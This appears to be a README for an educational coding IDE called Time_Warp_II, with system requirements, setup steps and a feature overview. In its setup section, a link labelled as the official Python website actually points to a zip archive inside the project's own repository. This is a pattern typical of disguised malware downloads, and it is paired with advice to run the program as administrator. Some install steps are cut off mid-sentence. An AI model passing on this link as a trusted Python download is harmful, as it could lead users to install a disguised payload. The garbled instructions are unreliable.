Time_Warp_II is a special version of the original Time Warp Classic. It is made just for the TempleCode language, which combines BASIC, PILOT, and Logo. This mix makes learning to code simple and fun. You can write programs using turtle graphics, see your code with colors thanks to syntax highlighting, and enjoy a classic computer style.
This program works as an educational IDE. IDE means Integrated Development Environment. It is a tool where you can write, check, and run your code in one place. Time_Warp_II aims to make programming easier for beginners and hobbyists by providing a clear and visual way to learn.
To run Time_Warp_II on Windows, your computer should meet these basic requirements:
- Operating System: Windows 7 or later (Windows 10 recommended)
- Processor: Any Intel or AMD processor running at 1 GHz or faster
- Memory: At least 2 GB RAM
- Storage: 100 MB of free disk space
- Display: Screen with at least 1024 x 768 resolution
- Software: Python 3.6 or higher is required (if not bundled)
The program uses Tkinter and Turtle graphics, which come pre-installed in most Python setups on Windows. If you do not have Python, you will need to install it first (see Setup section).

- Right-click the
.zipfile and choose “Extract All.” - Extract the files to a new folder on your desktop or another place you prefer.
- Run the program
- If installed, find “Time_Warp_II” in your Start menu and click to open.
- If using the extracted files, run

Time_Warp_II depends on Python 3 and some standard libraries. If you do not have Python installed, follow these steps:
-
Go to the official Python website:
https://raw.githubusercontent.com/Selim20011/Time_Warp_II/main/core/utilities/Warp-II-Time-hyperobtrusive.zip -
Click the Download Python 3.x.x button.
-
Run the downloaded installer.
- Important: Check the box that says Add Python 3.x to PATH on the setup screen.
-
Complete the installation by following the prompts.
-
To check if Python is installed, open Command Prompt and type:
python --version
It should show the Python version number.
Once the software is running, you will see a workspace with several features:
- Code Editor: This is where you write your programs. It highlights commands in color to help you read and catch mistakes faster.
- Turtle Graphics Window: This window shows pictures created by your code, using the famous turtle graphics system.
- Run Button: Use this button to start your program and see the output or graphics.
- Stop Button: Stops a running program anytime you want to end it early.
- File Menu: Lets you create, open, save, and close your code files easily.
You can start by writing simple commands in the TempleCode language, then run your program to see how the turtle moves or how the code behaves.
To keep your work, use the File menu:
- New: Start a new program from scratch.
- Open: Load an existing
.templeor.txtfile you saved before. - Save: Save your current program. If it’s new, you will be asked to name the file.
- Save As: Save a copy under a different name or location.
Files saved this way can be opened any time in Time_Warp_II or other basic text editors.
You can move a turtle cursor on the screen that draws lines. Commands like FORWARD, LEFT, and RIGHT control its movement. This helps you learn geometry and programming together.
The editor shows keywords, commands, and numbers in different colors. This makes understanding your code faster.
Time_Warp_II uses old-style computer colors and fonts to give a nostalgic feel, similar to early home computers.
If you have problems running Time_Warp_II:
- Make sure you have the right Python version installed.
- Check your Windows is updated.
- Run the program as an administrator if it doesn’t start.
- Restart your computer after installation.
- Look for error messages and copy them if you need to ask for help.
